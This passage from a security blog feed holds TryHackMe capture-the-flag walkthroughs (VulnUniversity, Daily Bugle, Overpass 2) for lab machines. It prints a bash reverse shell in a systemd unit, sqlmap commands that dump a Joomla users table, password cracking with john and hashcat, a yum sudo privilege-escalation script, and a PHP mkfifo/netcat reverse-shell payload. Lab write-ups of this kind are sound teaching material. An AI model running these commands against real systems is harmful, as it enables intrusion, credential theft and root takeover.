  <li>Question <code class="language-plaintext highlighter-rouge">What is the user flag?</code> Answer <code class="language-plaintext highlighter-rouge">********************************</code> (32 alphanumeric characters). Command used <code class="language-plaintext highlighter-rouge">cat /home/bill/user.txt</code></li>
</ul>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<ul>
  <li>To check suid permission files, we can use <code class="language-plaintext highlighter-rouge">find / -perm /4000 2&gt; /dev/null</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">On the system, search for all SUID files. Which file stands out?</code> Answer <code class="language-plaintext highlighter-rouge">/bin/systemctl</code> Because systemctl don’t have suid permission normally.</li>
  <li>Now we can start rooting the server.</li>
  <li>At first I created a file on my machine named ZishanAdThander.service (with my ip, you can user your ip)</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>Unit]
<span class="nv">Description</span><span class="o">=</span>ZishanAdThandar

<span class="o">[</span>Service]
<span class="nv">Type</span><span class="o">=</span>simple
<span class="nv">User</span><span class="o">=</span>root
<span class="nv">ExecStart</span><span class="o">=</span>/bin/bash <span class="nt">-c</span> <span class="s1">'bash -i &gt;&amp; /dev/tcp/10.17.102.105/1337 0&gt;&amp;1'</span>

<span class="o">[</span>Install]
<span class="nv">WantedBy</span><span class="o">=</span>multi-user.target
</code></pre></div></div>

<ul>
  <li>Now started web server on my machine using <code class="language-plaintext highlighter-rouge">python3 -m http.server 7860</code></li>
  <li>On the reverse shell, moved to <code class="language-plaintext highlighter-rouge">/tmp</code> directory using <code class="language-plaintext highlighter-rouge">cd /tmp</code> command. Then uploaded the file with <code class="language-plaintext highlighter-rouge">wget http://10.17.102.105:7860/ZishanAdThandar.service</code> command.</li>
  <li>Now we can add the service using <code class="language-plaintext highlighter-rouge">/bin/systemctl enable /tmp/ZishanAdThandar.service</code> command on reverse shell.</li>
  <li>Started netcat listner on the given port with <code class="language-plaintext highlighter-rouge">nc -lvnp 1337</code>.</li>
  <li>Now we need can run the command <code class="language-plaintext highlighter-rouge">/bin/systemctl start ZishanAdThandar</code> to start the service and immediately we will get reverse shell as root on another netcat listner.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Become root and get the last flag (/root/root.txt)</code> Answer <code class="language-plaintext highlighter-rouge">********************************</code> (32 alphanumeric characters). Command used <code class="language-plaintext highlighter-rouge">cat /root/root.txt</code></li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[VulnUniversity]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Daily Bugle - TryHackMe room writeup</title><link href="https://zishanhack.com/blog/thm/dailybugle/" rel="alternate" type="text/html" title="Daily Bugle - TryHackMe room writeup" /><published>2024-09-01T00:00:00+05:30</published><updated>2024-09-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/dailybugle</id><content type="html" xml:base="https://zishanhack.com/blog/thm/dailybugle/"><![CDATA[<h1 id="daily-bugle">Daily Bugle</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#deploy">Deploy</a></li>
  <li><a href="#obtain-user-and-root">Obtain user and root</a></li>
  <li><a href="#credits">Credits</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/dailybugle">https://thm.com/room/dailybugle</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>NMap https://nmap.org/download</li>
  <li>JoomScan https://github.com/OWASP/joomscan</li>
  <li>SearchSploit https://www.exploit-db.com/searchsploit</li>
  <li>SQLMap https://github.com/sqlmapproject/sqlmap</li>
  <li>hashid https://pypi.org/project/hashID/</li>
  <li>John The Ripper https://www.openwall.com/john/</li>
</ul>

<h2 id="deploy">Deploy</h2>

<ul>
  <li>Start the machine and open the ip in browser.</li>
  <li>Opening the site shows favicon of joomla on main page and a image with a man masked as spider man, looks like an robber.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Access the web server, who robbed the bank?</code> Answer <code class="language-plaintext highlighter-rouge">spiderman</code></li>
</ul>

<h2 id="obtain-user-and-root">Obtain user and root</h2>

<ul>
  <li>Running nmap gives some ports.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-A</span> 10.10.250.153
Starting Nmap 7.94 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-03-05 11:33 IST
Nmap scan report <span class="k">for </span>10.10.250.153
Host is up <span class="o">(</span>0.18s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 997 closed tcp ports <span class="o">(</span>conn-refused<span class="o">)</span>
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 <span class="o">(</span>protocol 2.0<span class="o">)</span>
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 <span class="o">(</span>RSA<span class="o">)</span>
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d <span class="o">(</span>ECDSA<span class="o">)</span>
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp   open  http    Apache httpd 2.4.6 <span class="o">((</span>CentOS<span class="o">)</span> PHP/5.6.40<span class="o">)</span>
|_http-server-header: Apache/2.4.6 <span class="o">(</span>CentOS<span class="o">)</span> PHP/5.6.40
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp open  mysql   MariaDB <span class="o">(</span>unauthorized<span class="o">)</span>

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>38.97 seconds
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the Joomla version?</code> Answer <code class="language-plaintext highlighter-rouge">3.7.0</code>
Got this details using OWASP joomscan by Mohammad Reza Espargham , Ali Razmjoo.
Command used: <code class="language-plaintext highlighter-rouge">joomscan  -u http://10.10.250.153/</code></li>
  <li>Using SearchSploit by exploitDB gives us SQL injection exploits on this joomla CMS version.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit joomla 3.7.0
<span class="nt">----------------------------------------------</span> <span class="nt">---------------------------------</span>
 Exploit Title                                |  Path
<span class="nt">----------------------------------------------</span> <span class="nt">---------------------------------</span>
Joomla! 3.7.0 - <span class="s1">'com_fields'</span> SQL Injection    | php/webapps/42033.txt
Joomla! Component Easydiscuss &lt; 4.0.21 - Cros | php/webapps/43488.txt
<span class="nt">----------------------------------------------</span> <span class="nt">---------------------------------</span>
Shellcodes: No Results

</code></pre></div></div>

<ul>
  <li>After some reasearch on the exploit https://www.exploit-db.com/exploits/42033 and using some commands in SQLMap,
At first we crafted a command to begin SQL injection <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E</code></li>
  <li>Then crafted a SQLMap command to get db names <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E --dbs</code> and got a database named <code class="language-plaintext highlighter-rouge">joomla</code></li>
  <li>Then crafted a command to table names on DB <code class="language-plaintext highlighter-rouge">joomla</code> command <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E -D joomla --tables</code> and we will get a table named <code class="language-plaintext highlighter-rouge">#__users</code></li>
  <li>To extract the table column names, we can use this command, <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E -D joomla -T "#__users" --columns</code> it will prompt for bruteforcing existing column names, we can find some column names like <code class="language-plaintext highlighter-rouge">id</code>, <code class="language-plaintext highlighter-rouge">username</code>, <code class="language-plaintext highlighter-rouge">email</code>, <code class="language-plaintext highlighter-rouge">password</code> etc.</li>
  <li>Then, crafted a command to get password hash of users. <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E -D joomla -T "#__users" -C id,name,username,email,password --dump</code>
It shows result like that,</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-----+------------+----------+---------------------+--------------------------------------------------------------+
| <span class="nb">id</span>  | name       | username | email               | password                                                     |
+-----+------------+----------+---------------------+--------------------------------------------------------------+
| 811 | Super User | jonah    | jonah@thm.com | <span class="nv">$2y$10$0veO</span>/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm |
+-----+------------+----------+---------------------+--------------------------------------------------------------+
</code></pre></div></div>

<ul>
  <li>We used <code class="language-plaintext highlighter-rouge">hashid</code> to detect hash type and it could be <code class="language-plaintext highlighter-rouge">bcrypt</code>.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashid <span class="s1">'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm'</span>
Analyzing <span class="s1">'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm'</span>
<span class="o">[</span>+] Blowfish<span class="o">(</span>OpenBSD<span class="o">)</span> 
<span class="o">[</span>+] Woltlab Burning Board 4.x 
<span class="o">[</span>+] bcrypt
</code></pre></div></div>

<ul>
  <li>Now we can use <code class="language-plaintext highlighter-rouge">john the ripper</code> to decrypt the hash, using <code class="language-plaintext highlighter-rouge">rockyou.txt</code> wordlist.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john hash.txt <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt <span class="nt">--format</span><span class="o">=</span>bcrypt
Using default input encoding: UTF-8
Loaded 1 password <span class="nb">hash</span> <span class="o">(</span>bcrypt <span class="o">[</span>Blowfish 32/64 X3]<span class="o">)</span>
Cost 1 <span class="o">(</span>iteration count<span class="o">)</span> is 1024 <span class="k">for </span>all loaded hashes
Will run 2 OpenMP threads
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
<span class="k">***********</span>   <span class="o">(</span>?<span class="o">)</span>
1g 0:00:09:27 DONE <span class="o">(</span>2020-06-14 17:12<span class="o">)</span> 0.001762g/s 82.55p/s 82.55c/s 82.55C/s sweetsmile..speciala
Use the <span class="s2">"--show"</span> option to display all of the cracked passwords reliably
Session completed. 
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is Jonah's cracked password?</code> Answer <code class="language-plaintext highlighter-rouge">spiderman123</code></li>
  <li>Now we can login using username <code class="language-plaintext highlighter-rouge">jonah</code> and password <code class="language-plaintext highlighter-rouge">spiderman123</code> on http://10.10.250.153/administrator/.</li>
  <li>Now just goto <code class="language-plaintext highlighter-rouge">Extensions</code> &gt; <code class="language-plaintext highlighter-rouge">Templates</code> &gt; <code class="language-plaintext highlighter-rouge">Templates</code> and select <code class="language-plaintext highlighter-rouge">Beez3</code> and edit the <code class="language-plaintext highlighter-rouge">index.php</code> file to get reverse shell.</li>
  <li>Now started  <code class="language-plaintext highlighter-rouge">netcat</code> with <code class="language-plaintext highlighter-rouge">nc -lvnp 1234</code> and replaced the code in <code class="language-plaintext highlighter-rouge">index.php</code> with pentestmonkey shell with own ip port and save.</li>
  <li>Opening http://10.10.250.153/templates/beez3/index.php will give shell.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-nlvp</span> 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.250.153 56764
Linux dailybugle 3.10.0-1062.el7.x86_64 <span class="c">#1 SMP Wed Aug 7 18:08:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux</span>
 04:23:12 up  5:27,  0 <span class="nb">users</span>,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
<span class="nv">uid</span><span class="o">=</span>48<span class="o">(</span>apache<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>48<span class="o">(</span>apache<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>48<span class="o">(</span>apache<span class="o">)</span>
</code></pre></div></div>

<ul>
  <li>We can see only user named <code class="language-plaintext highlighter-rouge">jjameson</code> with command <code class="language-plaintext highlighter-rouge">ls /home</code>.</li>
  <li>After some digging we got some password <code class="language-plaintext highlighter-rouge">*************</code> inside <code class="language-plaintext highlighter-rouge">/var/www/html/configuration.php</code> using <code class="language-plaintext highlighter-rouge">cat /var/www/html/configuration.php</code>.</li>
  <li>So used the password to login ssh as user <code class="language-plaintext highlighter-rouge">jjameson</code> and got the flag
```bash ssh jjameson@10.10.250.153</li>
</ul>

<p>The authenticity of host ‘10.10.250.153 (10.10.250.153)’ can’t be established.
ED25519 key fingerprint is SHA256:Gvd5jH4bP7HwPyB+lGcqZ+NhGxa7MKX4wXeWBvcBbBY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ‘10.10.250.153’ (ED25519) to the list of known hosts.
jjameson@10.10.250.153’s password: 
Last login: Tue Mar  5 04:27:31 2024
[jjameson@dailybugle ~]$ cat /home/jjameson/user.txt
<strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong>**</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
- Question `What is the user flag?` Answer `**************************`
- Using `sudo -l` command shows `/usr/bin/yum`.

```bash
sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum
</code></pre></div></div>

<ul>
  <li>Lets follow https://gtfobins.github.io/gtfobins/yum/ sudo exploit to get root.</li>
  <li>Just copy pasting given commands in <code class="language-plaintext highlighter-rouge">b</code> will upgrade ssh to <code class="language-plaintext highlighter-rouge">root</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">TF</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span> <span class="nt">-d</span><span class="si">)</span>
<span class="nb">cat</span> <span class="o">&gt;</span><span class="nv">$TF</span>/x<span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
[main]
plugins=1
pluginpath=</span><span class="nv">$TF</span><span class="sh">
pluginconfpath=</span><span class="nv">$TF</span><span class="sh">
</span><span class="no">EOF

</span><span class="nb">cat</span> <span class="o">&gt;</span><span class="nv">$TF</span>/y.conf<span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
[main]
enabled=1
</span><span class="no">EOF

</span><span class="nb">cat</span> <span class="o">&gt;</span><span class="nv">$TF</span>/y.py<span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
</span><span class="no">EOF

</span><span class="nb">sudo </span>yum <span class="nt">-c</span> <span class="nv">$TF</span>/x <span class="nt">--enableplugin</span><span class="o">=</span>y
</code></pre></div></div>

<ul>
  <li>So typing <code class="language-plaintext highlighter-rouge">cat /root/root.txt</code> will give us root flag.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sh-4.2# <span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
sh-4.2# <span class="nb">cat</span> /root/root.txt
<span class="k">******************************</span>
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the root flag?</code> Answer <code class="language-plaintext highlighter-rouge">**************************</code></li>
</ul>

<h2 id="credits">Credits</h2>

<ul>
  <li>We already completed the machine, just click on completed.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><summary type="html"><![CDATA[Daily Bugle]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Overpass 2 - Hacked | TryHackMe Walkthrough</title><link href="https://zishanhack.com/blog/thm/overpass2hacked/" rel="alternate" type="text/html" title="Overpass 2 - Hacked | TryHackMe Walkthrough" /><published>2024-09-01T00:00:00+05:30</published><updated>2024-09-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/overpass2hacked</id><content type="html" xml:base="https://zishanhack.com/blog/thm/overpass2hacked/"><![CDATA[<h1 id="overpass-2---hacked-tryhackme-walkthrough">Overpass 2 - Hacked: TryHackMe Walkthrough</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#forensics---analyse-the-pcap">Forensics - Analyse the PCAP</a></li>
  <li><a href="#research---analyse-the-code">Research - Analyse the code</a></li>
  <li><a href="#attack---get-back-in">Attack - Get back in!</a></li>
</ul>

<p>Room: <a href="https://thm.com/room/overpass2hacked">https://thm.com/room/overpass2hacked</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>Wireshark https://www.wireshark.org/download.html</li>
  <li>Strings</li>
  <li>John The Ripper https://www.openwall.com/john/</li>
  <li>hashcat https://hashcat.net/hashcat/</li>
</ul>

<h2 id="forensics---analyse-the-pcap">Forensics - Analyse the PCAP</h2>

<ul>
  <li>Download <code class="language-plaintext highlighter-rouge">overpass2.pcapng</code>.</li>
  <li>Check and match <code class="language-plaintext highlighter-rouge">md5sum</code> of the file to verify file.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">md5sum </span>overpass2.pcapng 
11c3b2e9221865580295bc662c35c6dc  overpass2.pcapng
</code></pre></div></div>

<ul>
  <li>We can use <code class="language-plaintext highlighter-rouge">wireshark</code> and <code class="language-plaintext highlighter-rouge">follow TCP streams</code> of suspicious streams. But, I used <code class="language-plaintext highlighter-rouge">strings overpass2.pcapng</code>.</li>
  <li>With strings we can see everything in plaintext. There is a request to link on directory <code class="language-plaintext highlighter-rouge">/development/upload.php</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What was the URL of the page they used to upload a reverse shell?</code> Answer <code class="language-plaintext highlighter-rouge">/development/</code>.</li>
  <li>With same method we can get the payload <code class="language-plaintext highlighter-rouge">&lt;?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.170.145 4242 &gt;/tmp/f")?&gt;</code>. You can check it by scrolling or simply use <code class="language-plaintext highlighter-rouge">strings overpass2.pcapng |grep "php exec"</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What payload did the attacker use to gain access?</code> Answer <code class="language-plaintext highlighter-rouge">exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.170.145 4242 &gt;/tmp/f")</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What password did the attacker use to privesc?</code> Answer <code class="language-plaintext highlighter-rouge">whene************tant</code>. You can manually scan strings result to see the password.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How did the attacker establish persistence?</code> Answer <code class="language-plaintext highlighter-rouge">https://github.com/NinjaJc01/ssh-backdoor</code>. With same manual scrolling will work here.</li>
  <li>We can see <code class="language-plaintext highlighter-rouge">cat /etc/shadow</code> command and it’s result inside <code class="language-plaintext highlighter-rouge">strings</code> output. We can simply save it in a file named shadow.</li>
  <li>Then we need to download <code class="language-plaintext highlighter-rouge">fasttrack</code> wordlist as instructed using command <code class="language-plaintext highlighter-rouge">wget https://raw.githubusercontent.com/drtychai/wordlists/master/fasttrack.txt</code>.</li>
  <li>Then we can run john to check.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john <span class="nt">--wordlist</span><span class="o">=</span>fasttrack.txt shadow 
Loaded 5 password hashes with 5 different salts <span class="o">(</span>crypt, generic crypt<span class="o">(</span>3<span class="o">)</span> <span class="o">[</span>?/64]<span class="o">)</span>
Will run 8 OpenMP threads
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
se<span class="k">*****</span>y3        <span class="o">(</span>paradox<span class="o">)</span>
ab<span class="k">***</span>23          <span class="o">(</span>szymex<span class="o">)</span>
s<span class="k">****</span>t12         <span class="o">(</span>bee<span class="o">)</span>
1<span class="k">***</span>2wsx         <span class="o">(</span>muirland<span class="o">)</span>
4g 0:00:00:04 100% 0.8113g/s 45.03p/s 187.4c/s 187.4C/s 2003..starwars
Use the <span class="s2">"--show"</span> option to display all of the cracked passwords reliably
Session completed
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Using the fasttrack wordlist, how many of the system passwords were crackable?</code> Answer <code class="language-plaintext highlighter-rouge">4</code></li>
</ul>

<h2 id="research---analyse-the-code">Research - Analyse the code</h2>

<ul>
  <li>We have the backdoor link <code class="language-plaintext highlighter-rouge">https://github.com/NinjaJc01/ssh-backdoor</code>. We can find <code class="language-plaintext highlighter-rouge">hash</code> and <code class="language-plaintext highlighter-rouge">salt</code> details inside code. <code class="language-plaintext highlighter-rouge">https://raw.githubusercontent.com/NinjaJc01/ssh-backdoor/master/main.go</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What's the default hash for the backdoor?</code> 
Answer <code class="language-plaintext highlighter-rouge">bdd04d9bb7621687f5df9001f******2d7d8391dfc885d0e9b68acd01fc2170e3</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What's the hardcoded salt for the backdoor?</code>
Answer <code class="language-plaintext highlighter-rouge">1c362db832f3f864c8c2fe05f2002a05</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What was the hash that the attacker used? - go back to the PCAP for this!</code> 
Answer <code class="language-plaintext highlighter-rouge">6d05358f090eea56a238af******19292cbfe0b5e98ad1fec71bed</code>. We can check it manually inside <code class="language-plaintext highlighter-rouge">strings</code> output. By using <code class="language-plaintext highlighter-rouge">strings overpass2.pcapng |grep "backdoor -a"</code> we can directly find the output.</li>
  <li>As we can find in the backdoor code that it is <code class="language-plaintext highlighter-rouge">sha512</code>. So we can decode it using <code class="language-plaintext highlighter-rouge">hashcat</code>.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">-m</span> 1710 <span class="s2">"6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05"</span> <span class="nt">--force</span> /opt/wordlist/rockyou.txt <span class="nt">--quiet</span>
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05:no<span class="k">******</span>6
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Crack the hash using rockyou and a cracking tool of your choice. What's the password?</code> Answer <code class="language-plaintext highlighter-rouge">n********6</code></li>
</ul>

<h2 id="attack---get-back-in">Attack - Get back in!</h2>

<ul>
  <li>Start Machine to get IP.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">The attacker defaced the website. What message did they leave as a heading?</code> Answer <code class="language-plaintext highlighter-rouge">H4ck3d by CooctusClan</code>. Manually checking strings output for downloading deface page will show this. We can also use this command <code class="language-plaintext highlighter-rouge">strings overpass2.pcapng |grep "H4ck3d"</code>. Or simply opening the ip in browser will show this heading.</li>
  <li>We have repeat attackers steps. Now we can login to the ssh port 2222 opened by the backdoor as we saw in <code class="language-plaintext highlighter-rouge">strings</code> output. We already have username <code class="language-plaintext highlighter-rouge">james</code> and can use cracked password. We need to use <code class="language-plaintext highlighter-rouge">-oHostKeyAlgorithms=+ssh-rsa</code> to get ssh as there is an error.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-p</span> 2222 james@10.10.136.126
Unable to negotiate with 10.10.136.126 port 2222: no matching host key <span class="nb">type </span>found. Their offer: ssh-rsa
<span class="nv">$ </span>ssh <span class="nt">-oHostKeyAlgorithms</span><span class="o">=</span>+ssh-rsa james@10.10.136.126 <span class="nt">-p</span> 2222
The authenticity of host <span class="s1">'[10.10.136.126]:2222 ([10.10.136.126]:2222)'</span> can<span class="s1">'t be established.
RSA key fingerprint is SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span><span class="o">[</span>10.10.136.126]:2222<span class="s1">' (RSA) to the list of known hosts.
james@10.10.136.126'</span>s password: <span class="k">*******</span>
To run a <span class="nb">command </span>as administrator <span class="o">(</span>user <span class="s2">"root"</span><span class="o">)</span>, use <span class="s2">"sudo &lt;command&gt;"</span><span class="nb">.</span>
See <span class="s2">"man sudo_root"</span> <span class="k">for </span>details.
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What's the user flag?</code> Answer <code class="language-plaintext highlighter-rouge">thm{****************}</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james@overpass-production:/home/james/ssh-backdoor<span class="nv">$ </span><span class="nb">cat</span> /home/james/user.txt
thm<span class="o">{</span><span class="k">****************</span><span class="o">}</span>
</code></pre></div></div>

<ul>
  <li>By using SUID find command <code class="language-plaintext highlighter-rouge">find . -perm /4000</code> we got a unusual file <code class="language-plaintext highlighter-rouge">/home/james/.suid_bash</code>. We can get suid exploit for it here https://gtfobins.github.io/gtfobins/bash/#suid</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What's the root flag?</code> Answer <code class="language-plaintext highlighter-rouge">thm{***************************}</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james@overpass-production:/home/james/ssh-backdoor<span class="nv">$ </span>/home/james/.suid_bash <span class="nt">-p</span>
.suid_bash-4.4# <span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>james<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>james<span class="o">)</span> <span class="nv">euid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">egid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,24<span class="o">(</span>cdrom<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>,30<span class="o">(</span>dip<span class="o">)</span>,46<span class="o">(</span>plugdev<span class="o">)</span>,108<span class="o">(</span>lxd<span class="o">)</span>,1000<span class="o">(</span>james<span class="o">)</span>
.suid_bash-4.4# <span class="nb">cat</span> /root/root.txt 
thm<span class="o">{</span><span class="k">***************************</span><span class="o">}</span>
